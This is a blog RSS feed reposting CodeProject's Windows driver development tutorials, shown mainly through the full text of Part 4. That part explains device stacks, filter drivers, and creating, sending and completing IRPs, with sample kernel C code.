<p>Another way to limit display hardware acceleration is to set flags in the <strong>CapabilityOverride</strong> registry entry. For example, setting the 0x2 flag in the <strong>CapabilityOverride</strong> entry is equivalent to placing the hardware acceleration slider at level 3. For a description of the <strong>CapabilityOverride</strong> registry entry, see <a id=ctl00_rs1_mainContentContainer_ctl23 onclick="javascript:Track('ctl00_rs1_mainContentContainer_ctl00|ctl00_rs1_mainContentContainer_ctl23',this);" href="http://msdn.microsoft.com/en-us/library/ms801089.aspx"><font color=#0033cc>Display INF File Sections</font></a>.</p>
<!--remove copyright (HTML)--></div>
<img src ="http://www.cppblog.com/iniwf/aggbug/79644.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2009-04-11 23:29 <a href="http://www.cppblog.com/iniwf/archive/2009/04/11/79644.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Driver Development Part 6: Introduction to Display Drivers</title><link>http://www.cppblog.com/iniwf/archive/2009/04/11/79640.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Sat, 11 Apr 2009 15:11:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2009/04/11/79640.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/79640.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2009/04/11/79640.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/79640.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/79640.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 转自http://www.codeproject.com/KB/system/driverdev6asp.aspx    Download source files - 74.6 Kb IntroductionIt has been a while since I have updated this series and I have found some free time ...&nbsp;&nbsp;<a href='http://www.cppblog.com/iniwf/archive/2009/04/11/79640.html'>阅读全文</a><img src ="http://www.cppblog.com/iniwf/aggbug/79640.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2009-04-11 23:11 <a href="http://www.cppblog.com/iniwf/archive/2009/04/11/79640.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Driver Development Part 5: Introduction to the Transport Device Interface</title><link>http://www.cppblog.com/iniwf/archive/2009/04/11/79639.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Sat, 11 Apr 2009 15:09:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2009/04/11/79639.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/79639.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2009/04/11/79639.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/79639.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/79639.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 转自http://www.codeproject.com/KB/system/driverdev5asp.aspx    Download source code - 41.1 KbIntroductionWelcome to the fifth installment of the driver development series. The title of this ar...&nbsp;&nbsp;<a href='http://www.cppblog.com/iniwf/archive/2009/04/11/79639.html'>阅读全文</a><img src ="http://www.cppblog.com/iniwf/aggbug/79639.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2009-04-11 23:09 <a href="http://www.cppblog.com/iniwf/archive/2009/04/11/79639.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Driver Development Part 4: Introduction to device stacks</title><link>http://www.cppblog.com/iniwf/archive/2009/04/11/79638.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Sat, 11 Apr 2009 15:05:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2009/04/11/79638.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/79638.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2009/04/11/79638.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/79638.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/79638.html</trackback:ping><description><![CDATA[转自<a href="http://www.codeproject.com/KB/system/driverdev4asp.aspx">http://www.codeproject.com/KB/system/driverdev4asp.aspx</a><br><br>
<ul class=download>
    <li><a href="http://www.codeproject.com/KB/system/driverdev4asp/driverdev_src4.zip">Download source code - 31.1 Kb</a></li>
</ul>
<h2>Introduction</h2>
<p>This is the fourth edition of the Writing Device Drivers articles. This article will introduce the idea of device stacks and how devices interact with each other. We will use the previously created example device driver to demonstrate this topic. To do this we will introduce the idea of a �filter� driver in which we will create to attach to our own driver�s device stack.</p>
<h2>What is a Device Stack?</h2>
<p>A stack is general terminology that can be envisioned as a pile of objects that just sit on top of each other. There is also an algorithm implementation that defines a stack as a method to store temporary objects in which the last object in is the first object out (also known as LIFO). Both descriptions are related. However, a device stack is not an algorithm nor does it have anything to do with temporary objects. Thus the simple description of a pile of objects that simply sit on top of each other is more related.</p>
<p><img height=517 alt="Sample image" src="http://www.codeproject.com/KB/system/driverdev4asp/devicestack.JPG" width=395></p>
<p>The best example of a device stack would be in relation to a stack of plates. The plates sit on top of each other just like a stack of devices. The other detail to remember is that we say �device stack� not �driver stack�. In the third tutorial we remember that, a single driver can actually implement multiple devices. This means that a stack of devices could all be implemented in a single physical driver. This article and many others however do refer to �device� and �driver� interchangeably even though they are basically separate but related entities.</p>
<h3>Filter Drivers</h3>
<p>This is a very commonly used buzz word and I�m sure just about anyone who programs has heard of this. A filter driver is a driver that attaches to the top of a stack of devices in an effort of �filter� processing of requests to a device before they reach the device.</p>
<p>You may assume that all devices in a device stack are filters except for the last one but this is not the case. The devices in a device stack aside from filters generally depend on the architecture of that particular device. For example, you usually have higher level drivers that are near the top of the stack. In the most general case these higher level drivers communicate and interact with user mode requests. The devices in the stack start to break down the request for the next level device until the last device in the chain processes the request. Near the bottom of the device stack lie the lower level drivers like �miniport drivers� which may communicate to actual hardware for example.</p>
<p>The best example could be that of the file system. The higher level drivers maintain the notion of files and file system. They understand where the files are stored on the disk perhaps. The lower level drivers know nothing of files and simply understand requests to read sectors on a disk. They also understand how to queue these requests and optimize disk seeks but they have no knowledge of what is actually on the disk or how to interpret the data.</p>
<p>Every filter device that attaches to a device stack is put at the top. This means that, if another filter device attaches to the device stack after yours then it is now on top of you. You are never guaranteed to be at the top of the stack.</p>
<p>To attach to a device stack we will be using the following API implementation.</p>
<div class=SmallText id=premain0 style="WIDTH: 100%"><img id=preimg0 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="0"><span id=precollapse0 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="0"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/driverdev4asp.aspx#" preid="0"> Copy Code</a></div>
<pre id=pre0 style="MARGIN-TOP: 0px">RtlInitUnicodeString(&amp;usDeviceToFilter, L<span class=code-string>"</span><span class=code-string>\\Device\\Example"</span>);
NtStatus = IoAttachDevice(pDeviceObject,
&amp;usDeviceToFilter,
&amp;pExampleFilterDeviceContext-<span class=code-keyword>&gt;</span>pNextDeviceInChain);
</pre>
<p>This API will actually open a handle to the device in order to attach and then close the handle. When this API attempts to close the handle our driver will be attached to the device stack so we must ensure that the <code>IRP_MJ_CLEANUP</code> and <code>IRP_MJ_CLOSE</code> can be correctly handled and do not cause a problem since they will be called!</p>
<p>There are a few other APIs one is called <code>IoAttachDeviceToStack</code>. This is actually what <code>IoAttachDevice</code> calls after opening a handle to the device.</p>
<h2>IRP Handling</h2>
<p>The next thing we need to talk about further is IRP handling. The IRP is created and sent to the first device in the device stack. This device can then process the IRP and complete it or pass it down to the next device in the stack. The general rules of an IRP are that when you receive the IRP you own it. If you then pass it down to the next device you no longer own it and can no longer access it. The last device to process the IRP must complete it.</p>
<p>In this example we will be creating IRPs simply for demonstration purposes. The demonstration will be quite simple and we will be sending IRPs to our own driver. There are some aspects of our implementation here which are omitted in our implementation and things done in a non-standard fashion simply because we control all end points. This is a demonstration and very simple. Owning all end points allows us to be more flexible in what we actually implement since we are in total control and can ensure that nothing goes wrong.</p>
<p>There are a number of simple steps that need to be followed when creating an IRP. Depending on the handling of the IRP these can vary a little however we will be going over a very simple case step by step.</p>
<h3>Step One � Create the IRP</h3>
<p>This is the obvious first step we need to create an IRP. This is very simple you can simply use a function named <code>IoAllocateIrp</code>. The following is a simple code example using the API.</p>
<div class=SmallText id=premain1 style="WIDTH: 100%"><img id=preimg1 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="1"><span id=precollapse1 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="1"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/driverdev4asp.aspx#" preid="1"> Copy Code</a></div>
<pre id=pre1 style="MARGIN-TOP: 0px">MyIrp = IoAllocateIrp(pFileObject-<span class=code-keyword>&gt;</span>DeviceObject-<span class=code-keyword>&gt;</span>StackSize, FALSE);
</pre>
<p>There are other APIs and macros which can also create an IRP for you. These are quicker ways to help create the IRP and set the parameters. The one thing to watch out for is to make sure that the function you use to create the IRP is able to be called at the IRQL level you will be using. The other part to check is, who is allowed to free the IRP. If the I/O Manager will manage and free the IRP or if you have to do it yourself.</p>
<p>The following is an example of one that sets parameters for us.</p>
<div class=SmallText id=premain2 style="WIDTH: 100%"><img id=preimg2 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="2"><span id=precollapse2 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="2"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/driverdev4asp.aspx#" preid="2"> Copy Code</a></div>
<pre id=pre2 style="MARGIN-TOP: 0px">MyIrp = IoBuildAsynchronousFsdRequest(IRP_MJ_INTERNAL_DEVICE_CONTROL,
pTopOfStackDevice,
NULL,
<span class=code-digit>0</span>,
&amp;StartOffset,
&amp;StatusBlock);
</pre>
<h3>Step Two � Set the Parameters </h3>
<p>This step depends on what functionality you want to do. You would need to setup the <code>FILE_OBJECT</code>, and the <code>IO_STACK_PARAMETER</code> and everything else. In our example we cheat. We don�t provide a <code>FILE_OBJECT</code> and we set minimal parameters. Why? Well, this is just a simple example and we own all end points. Since we are in control of all end points we can essentially do whatever we want with the parameters. However, if you read up on <code>IRP_MJ_xxx</code> and the specific functionality for that driver, such as IOCTL, you will know what you need to set when sending IRPs around. We actually should comply with these mandates as well so other drivers could talk to us but I attempted to just keep this example very simple.</p>
<p>The following code is how we set our IRP parameters.</p>
<div class=SmallText id=premain3 style="WIDTH: 100%"><img id=preimg3 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="3"><span id=precollapse3 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="3"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/driverdev4asp.aspx#" preid="3"> Copy Code</a></div>
<pre id=pre3 style="MARGIN-TOP: 0px">
PIO_STACK_LOCATION pMyIoStackLocation = IoGetNextIrpStackLocation(MyIrp);
pMyIoStackLocation-<span class=code-keyword>&gt;</span>MajorFunction = IRP_MJ_INTERNAL_DEVICE_CONTROL;
pMyIoStackLocation-<span class=code-keyword>&gt;</span>Parameters.DeviceIoControl.IoControlCode =
IOCTL_CREATE_NEW_RESOURCE_CONTEXT;
<span class=code-comment>/*</span><span class=code-comment>
* METHOD_BUFFERED
*
*    Input Buffer = Irp-&gt;AssociatedIrp.SystemBuffer
*    Ouput Buffer = Irp-&gt;AssociatedIrp.SystemBuffer
*
*    Input Size   =  Parameters.DeviceIoControl.InputBufferLength
*    Output Size  =  Parameters.DeviceIoControl.OutputBufferLength
*
*    Since we are now doing the same job as the I/O Manager,
*    to follow the rules our IOCTL specified METHOD_BUFFERED
*/</span>
pMyIoStackLocation-<span class=code-keyword>&gt;</span>Parameters.DeviceIoControl.InputBufferLength  =
<span class=code-keyword>sizeof</span>(FILE_OBJECT);
pMyIoStackLocation-<span class=code-keyword>&gt;</span>Parameters.DeviceIoControl.OutputBufferLength = <span class=code-digit>0</span>;
<span class=code-comment>/*</span><span class=code-comment>
* This is not really how you use IOCTL's but
* this is simply an example using
* an existing implementation.
* We will simply set our File Object as the SystemBuffer.
* Then the IOCTL handler will
* know it's a pFileObject and implement the code that we
* had here previously.
*/</span>
MyIrp-<span class=code-keyword>&gt;</span>AssociatedIrp.SystemBuffer = pFileObject;
MyIrp-<span class=code-keyword>&gt;</span>MdlAddress                 = NULL;
</pre>
<p>As you notice, we set the �<code>SystemBuffer</code>� to point to our File Object. This is not exactly how we really should have done this. We should have allocated a buffer and copied the data there. That way we could safely have the I/O Manager free the buffer or we could have freed the buffer when we destroy the IRP. Instead though, we did this quick example and we simply don�t allow the I/O Manager to free the IRP and we don�t free the <code>SystemBuffer</code> obviously.</p>
<h3>Step Three � Send the IRP down</h3>
<p>You need to send the IRP down to the driver. To do this, you simply specify the <code>DEVICE_OBJECT</code> and the IRP in the <code>IoCallDriver</code> API. You can essentially use whatever <code>DEVICE_OBJECT</code> you have. However, if you want to start at the top of the device stack, it�s best to find the top level device object using API�s such as <code>IoGetRelatedDeviceObject</code>. In our example, we have one that does the call to get the top level device and one that simply uses the Device Object we already have. If you read the debug output, you will notice that in the one we don�t go through the filter driver. This is because <code>IoCallDriver</code> is very simple. It just takes the Device Object and finds the appropriate function to call.</p>
<div class=SmallText id=premain4 style="WIDTH: 100%"><img id=preimg4 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="4"><span id=precollapse4 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="4"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/driverdev4asp.aspx#" preid="4"> Copy Code</a></div>
<pre id=pre4 style="MARGIN-TOP: 0px">NtStatus = IoCallDriver(pFileObject-<span class=code-keyword>&gt;</span>DeviceObject, MyIrp);</pre>
<h3>Step Four � Process &amp; Clean up the IRP</h3>
<p>The one thing we did before we sent the IRP down was to create a �Completion Routine�. This is a routine that will get notified when the IRP has been completed. We can do a few things in this case, we can allow the IRP to continue so we can do processing on its parameters or we can destroy it. We can also let the I/O Manager free it. This is actually dependent on how you created the IRP. To answer the question of "who should free it", you should read the DDK documentation on the API you used to allocate it. Implementing the wrong method can lead to disaster!</p>
<p>This is a simple example and we simply free it ourselves.</p>
<div class=SmallText id=premain5 style="WIDTH: 100%"><img id=preimg5 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="5"><span id=precollapse5 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="5"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/driverdev4asp.aspx#" preid="5"> Copy Code</a></div>
<pre id=pre5 style="MARGIN-TOP: 0px">IoSetCompletionRoutine(MyIrp, Example_SampleCompletionRoutine,
NULL, TRUE, TRUE, TRUE);
...
NTSTATUS Example_SampleCompletionRoutine(PDEVICE_OBJECT DeviceObject,
PIRP Irp, PVOID  Context)
{
DbgPrint(<span class=code-string>"</span><span class=code-string>Example_SampleCompletionRoutine \n"</span>);
IoFreeIrp(Irp);
<span class=code-keyword>return</span> STATUS_MORE_PROCESSING_REQUIRED;
}
</pre>
<p>You may notice that, sometimes you see code that checks the �<code>STATUS_PENDING</code>� and may wait on an event. In our case we own all end points and this will not happen in this simple example. This is why some of these details are simply being omitted for simplicity. In the next articles, we will expand on these ideas and fill in the missing pieces. It�s important to just digest one piece at a time.</p>
<h3>Handling IRPs in your driver</h3>
<p>Once you get an IRP, you own that IRP. You can do whatever you want with it. If you process it you must then either complete it when you are done or pass it down to another driver. If you pass it down to another driver you must forget about it. The driver you passed it to is now responsible for completing it.</p>
<p>The example filter driver we have implemented though is a bit different. It wants to process the parameters after we have provided the example driver with the IRP. To do this we must catch the completion and stop it from being completed. This is because we know the lower level driver should and will complete it. So, by setting our own completion routine, we can stop this. This is done with the following code.</p>
<div class=SmallText id=premain6 style="WIDTH: 100%"><img id=preimg6 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="6"><span id=precollapse6 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="6"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/driverdev4asp.aspx#" preid="6"> Copy Code</a></div>
<pre id=pre6 style="MARGIN-TOP: 0px">
pIoStackIrp = IoGetCurrentIrpStackLocation(Irp);
IoCopyCurrentIrpStackLocationToNext(Irp);
IoSetCompletionRoutine(Irp,
PIO_COMPLETION_ROUTINE) ExampleFilter_CompletionRoutine, NULL,
TRUE, TRUE, TRUE);
<span class=code-comment>/*</span><span class=code-comment>
* IoCallDriver() simply calls the
* appropriate entry point in the driver object associated
* with the device object.  This is
* how drivers are basically "chained" together, they must know
* that there are lower driver so they
* can perform the appropriate action and send down the IRP.
*
* They do not have to send the IRP down
* they could simply process it completely themselves if they wish.
*/</span>
NtStatus = IoCallDriver(
pExampleFilterDeviceContext-<span class=code-keyword>&gt;</span>pNextDeviceInChain, Irp);
<span class=code-comment>/*</span><span class=code-comment>
* Please note that our
* implementation here is a simple one.  We do not take into account
* PENDING IRP's oranything complicated.  We assume that once we get
* to this locaiton the IRP has alreadybeen completed and our completetion
* routine was called or it wasn't completed and we are still able
* to complete it here.
* Our completetion routine makes sure that the IRP is still valid here.
*
*/</span>
<span class=code-keyword>if</span>(NT_SUCCESS(NtStatus)
{      <span class=code-comment>/*</span><span class=code-comment>
* Data was read?
*/</span>
<span class=code-keyword>if</span>(Irp-<span class=code-keyword>&gt;</span>IoStatus.Information)
{
<span class=code-comment>/*</span><span class=code-comment>
* Our filter device is dependent upon the compliation settings of
* how we compiled example.sys
* That means we need to dynamically figure out if we're
* using Direct, Buffered or Neither.
*/</span>
<span class=code-keyword>if</span>(DeviceObject-<span class=code-keyword>&gt;</span>Flags &amp; DO_BUFFERED_IO)
{
DbgPrint(<span class=code-string>"</span><span class=code-string>ExampleFilter_Read - Use Buffered I/O \r\n"</span>);
<span class=code-comment>/*</span><span class=code-comment>
* Implementation for Buffered I/O
*/</span>
pReadDataBuffer = (PCHAR)Irp-<span class=code-keyword>&gt;</span>AssociatedIrp.SystemBuffer;
<span class=code-keyword>if</span>(pReadDataBuffer
&amp;&amp; pIoStackIrp-<span class=code-keyword>&gt;</span>Parameters.Read.Length <span class=code-keyword>&gt;</span> <span class=code-digit>0</span>)
{
ExampleFilter_FixNullString(pReadDataBuffer,
(UINT)Irp-<span class=code-keyword>&gt;</span>IoStatus.Information);
}
}
<span class=code-keyword>else</span>
{
<span class=code-keyword>if</span>(DeviceObject-<span class=code-keyword>&gt;</span>Flags
&amp; DO_DIRECT_IO)
{
DbgPrint(<span class=code-string>"</span><span class=code-string>ExampleFilter_Read - Use Direct I/O \r\n"</span>);
<span class=code-comment>/*</span><span class=code-comment>
* Implementation for Direct I/O
*/</span>
<span class=code-keyword>if</span>(pIoStackIrp &amp;&amp; Irp-<span class=code-keyword>&gt;</span>MdlAddress)
{
pReadDataBuffer = MmGetSystemAddressForMdlSafe(
Irp-<span class=code-keyword>&gt;</span>MdlAddress, NormalPagePriority);
<span class=code-keyword>if</span>(pReadDataBuffer &amp;&amp;
pIoStackIrp-<span class=code-keyword>&gt;</span>Parameters.Read.Length)
{
ExampleFilter_FixNullString(pReadDataBuffer,
(UINT)Irp-<span class=code-keyword>&gt;</span>IoStatus.Information);
}
}
}
<span class=code-keyword>else</span>
{
DbgPrint(<span class=code-string>"</span><span class=code-string>ExampleFilter_Read - Use Neither I/O \r\n"</span>);
<span class=code-comment>/*</span><span class=code-comment> Implementation for Neither I/O
*/</span>
<span class=code-keyword>__try</span> {
<span class=code-keyword>if</span>(pIoStackIrp-<span class=code-keyword>&gt;</span>Parameters.Read.Length <span class=code-keyword>&gt;</span>
<span class=code-digit>0</span> &amp;&amp; Irp-<span class=code-keyword>&gt;</span>UserBuffer)
{
ProbeForWrite(Irp-<span class=code-keyword>&gt;</span>UserBuffer,
IoStackIrp-<span class=code-keyword>&gt;</span>Parameters.Read.Length,
TYPE_ALIGNMENT(<span class=code-keyword>char</span>));
pReadDataBuffer = Irp-<span class=code-keyword>&gt;</span>UserBuffer;
ExampleFilter_FixNullString(pReadDataBuffer,
(UINT)Irp-<span class=code-keyword>&gt;</span>IoStatus.Information);
}
} <span class=code-keyword>__except</span>( EXCEPTION_EXECUTE_HANDLER ) {
NtStatus = GetExceptionCode();
}
}
}
}
}
<span class=code-comment>/*</span><span class=code-comment>
* Complete the IRP
*
*/</span>
Irp-<span class=code-keyword>&gt;</span>IoStatus.Status = NtStatus;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
....
NTSTATUS ExampleFilter_CompletionRoutine(
PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context)
{
DbgPrint(<span class=code-string>"</span><span class=code-string>ExampleFilter_CompletionRoutine Called \r\n"</span>);
<span class=code-comment>/*</span><span class=code-comment>
* We need to return
* "STATUS_MORE_PROCESSING_REQUIRED" so that we can
* use the IRP in our driver.If we complete this here we
* would not be able to use it and the IRP would be completed.  This
* also means that our driver
* must also complete the IRP since it has not been completed yet.
*/</span>
<span class=code-keyword>return</span> STATUS_MORE_PROCESSING_REQUIRED;
}
</pre>
<p>The IRP will then not be completed because we returned to the I/O Manager that more processing needs to be done. Now we can manipulate the IRP after the <code>IoCallDriver</code>, however we must now complete it when we are done. This is because we stopped the completion of the IRP. Remember our example does not take into account <code>STATUS_PENDING</code> because we own all end points and we are trying to keep this example as simple as possible.</p>
<h2>The Filter Example</h2>
<p>The example filter driver in this article attaches itself to the driver�s stack that we created in article 3. If you remember that implementation, we were able to communicate between two user mode applications. One problem with doing this is that, if you typed in a number of strings, the user mode application only prints one string while it may have read three. This could have been fixed in the user mode application easily however how much fun would that be?</p>
<p>Instead we have created a filter driver that simply intercepts the IRP after the read and manipulates the IRP return parameters. It removes all the NULL terminators from the string and replaces them with spaces. It then simply NULL terminates the end of the string. It�s not a perfect example obviously, since we overwrite the last character and don�t attempt to even see if we need to, but this is just a simple example.</p>
<p>These examples just do the minimum necessary, so they work and try not to trap (in the simplest case). I would rather provide some explanation with a simple example than a full fledged example with all the bells and whistles. Those can already be found in the DDK and long articles on MSDN which explain everything all at once.</p>
<h3>Using the example</h3>
<p>To use the example you simply do the same as you did with article 3. The only difference is that, there is now another loader program that you can run after you have already loaded <em>example.sys</em>. This one will load <em>examplefilter.sys</em> and it will attach to <em>example.sys</em>. The user mode programs can run with or without <em>examplefilter.sys</em>. You can run it both ways and see the differences. Entry points all have debug statements so you can follow the code paths.</p>
<h2>Conclusion</h2>
<p>In this article we learned a little more about IRP handling (for the purpose of understanding device stacks) and device stacks. We also learned how to implement a very simple filter driver. In each article we will attempt to build upon these basic ideas, so that we can further understand how drivers work and how to develop drivers.</p>
<p>The next article in the series will attempt to combine everything learned over these 4 articles and further explain IRP Handling.</p>
<!-- Main Page Contents End -->
<form id=aspnetForm style="PADDING-RIGHT: 0px; PADDING-LEFT: 0px; PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-TOP: 0px" name=aspnetForm action=displayarticle.aspx method=post>
    <div><input id=__VIEWSTATE type=hidden value=/wEPDwUKMTAyMTMzODg1Ng9kFgJmD2QWBAILD2QWBgIDDw8WAh4HVmlzaWJsZWdkZAIJDw8WAh8AZ2RkAgwPDxYCHwBnZGQCDA9kFgoCBw9kFg4CAQ9kFgJmDxYCHgtfIUl0ZW1Db3VudGZkAgMPZBYKZg8PFgIeC05hdmlnYXRlVXJsBSsvS0Ivc3lzdGVtL2RyaXZlcmRldjRhc3AuYXNweD9kaXNwbGF5PVByaW50ZGQCAQ8PFgIfAgUlL3NjcmlwdC9BcnRpY2xlcy9SZXBvcnQuYXNweD9haWQ9OTc2NmRkAgIPDxYCHwBoZGQCAw8PFgIfAGhkZAIFDw8WAh8CBTAvc2NyaXB0L2NvbW1vbi9UZWxsRnJpZW5kLmFzcHg/b2J0aWQ9MiZvYmlkPTk3NjZkZAIFD2QWBAIBD2QWAgIBDw8WAh4EVGV4dAUaMzMgdm90ZXMgZm9yIHRoaXMgQXJ0aWNsZS5kZAIHD2QWAmYPZBYEAgEPDxYEHwMFEFBvcHVsYXJpdHk6IDcuMzAfAgUpL3NjcmlwdC9BcnRpY2xlcy9Ub3BBcnRpY2xlcy5hc3B4P3RhX3NvPTFkZAIFDxYCHwMFHFJhdGluZzogPGI+NC44MTwvYj4gb3V0IG9mIDVkAhkPZBYKAgEPZBYEAgEPFgIeCWlubmVyaHRtbAWxAjxwPlRoaXMgYXJ0aWNsZSBoYXMgbm8gZXhwbGljaXQgbGljZW5zZSBhdHRhY2hlZCB0byBpdCBidXQgbWF5IGNvbnRhaW4gdXNhZ2UgdGVybXMgaW4gdGhlIGFydGljbGUgdGV4dCBvciB0aGUgZG93bmxvYWQgZmlsZXMgdGhlbXNlbHZlcy4gSWYgaW4gZG91YnQgcGxlYXNlIGNvbnRhY3QgdGhlIGF1dGhvciB2aWEgdGhlIGRpc2N1c3Npb24gYm9hcmQgYmVsb3cuPC9wPjxwPkEgbGlzdCBvZiBsaWNlbnNlcyBhdXRob3JzIG1pZ2h0IHVzZSBjYW4gYmUgZm91bmQgPGEgaHJlZj0iL2luZm8vTGljZW5zZXMuYXNweCI+aGVyZTwvYT48L3A+ZAICD2QWAgIBDxBkZBYAZAIFDxYCHwECAWQCBw8WAh8DBdcHPGgyPk90aGVyIHBvcHVsYXIgSGFyZHdhcmUgJiBTeXN0ZW0gYXJ0aWNsZXM6PC9oMj48dWw+PGxpPjxhIGhyZWY9Ii9LQi9zeXN0ZW0veHludHNlcnZpY2UuYXNweCI+U3RhcnQgWW91ciBXaW5kb3dzIFByb2dyYW1zIEZyb20gQW4gTlQgU2VydmljZTwvYT48ZGl2IGNsYXNzPSJTbWFsbFRleHQiPk1ha2UgeW91ciBNRkMsIFZCIGFuZCBvdGhlciBXaW5kb3dzIHByb2dyYW1zIGJlaGF2ZSBsaWtlIE5UIHNlcnZpY2VzLjwvZGl2PjwvbGk+PGxpPjxhIGhyZWY9Ii9LQi9zeXN0ZW0vc2VyaWFsLmFzcHgiPlNlcmlhbCBsaWJyYXJ5IGZvciBDKys8L2E+PGRpdiBjbGFzcz0iU21hbGxUZXh0Ij5BIGhpZ2gtcGVyZm9ybWFuY2UsIGNvbXBsZXRlIGFuZCBjb21wYWN0IHNlcmlhbCBsaWJyYXJ5IGZvciBDKys8L2Rpdj48L2xpPjxsaT48YSBocmVmPSIvS0Ivc3lzdGVtL2RyaXZlcmRldi5hc3B4Ij5Ecml2ZXIgRGV2ZWxvcG1lbnQgUGFydCAxOiBJbnRyb2R1Y3Rpb24gdG8gRHJpdmVyczwvYT48ZGl2IGNsYXNzPSJTbWFsbFRleHQiPlRoaXMgYXJ0aWNsZSB3aWxsIGdvIGludG8gdGhlIGJhc2ljcyBvZiBjcmVhdGluZyBhIHNpbXBsZSBkcml2ZXIuPC9kaXY+PC9saT48bGk+PGEgaHJlZj0iL0tCL3N5c3RlbS9ob29rc3lzLmFzcHgiPkFQSSBob29raW5nIHJldmVhbGVkPC9hPjxkaXYgY2xhc3M9IlNtYWxsVGV4dCI+VGhlIGFydGljbGUgZGVtb25zdHJhdGVzIGhvdyB0byBidWlsZCBhIHVzZXIgbW9kZSBXaW4zMiBBUEkgc3B5aW5nIHN5c3RlbTwvZGl2PjwvbGk+PGxpPjxhIGhyZWY9Ii9LQi9zeXN0ZW0vTm9EZWxldGVEZWxheS5hc3B4Ij5FbGltaW5hdGluZyBFeHBsb3JlcidzIGRlbGF5IHdoZW4gZGVsZXRpbmcgYW4gaW4tdXNlIGZpbGU8L2E+PGRpdiBjbGFzcz0iU21hbGxUZXh0Ij5Ib3cgdG8gdHJhY2sgZG93biBhbmQgcGF0Y2ggYW4gYW5ub3lhbmNlIGluIFdpbmRvd3MgRXhwbG9yZXIncyBjb2RlLjwvZGl2PjwvbGk+PC91bD5kAgkPDxYCHwBnZGQCDQ9kFgJmD2QWAgIBD2QWAmYPZBYCAgkPFgIfAGgWAgIBDxBkZBYAZAIbDw8WAh8AZ2RkAh0PDxYCHwBnZGQCJQ8WAh8AaGQCCw8PFgIfAgUmL3NjcmlwdC9BcnRpY2xlcy9BcnRpY2xlLmFzcHg/YWlkPTk3NjZkZAIRDxYCHwMFCzI3IE1hciAyMDA1ZAITDw8WBB8DBQ5TdW1hbGF0aGEgSy5SLh8CBSgvc2NyaXB0L01lbWJlcnNoaXAvVmlldy5hc3B4P21pZD0xODMzNzUzZGQCFQ8WAh8DBR9Db3B5cmlnaHQgMjAwNSBieSBUb2J5IE9wZmVybWFuZGSD+Yr2r5uNbF4OQ/AaEBgg8y/Daw== name=__VIEWSTATE> </div>
    <h2>License</h2>
    <div id=ctl00_LicenseTerms>
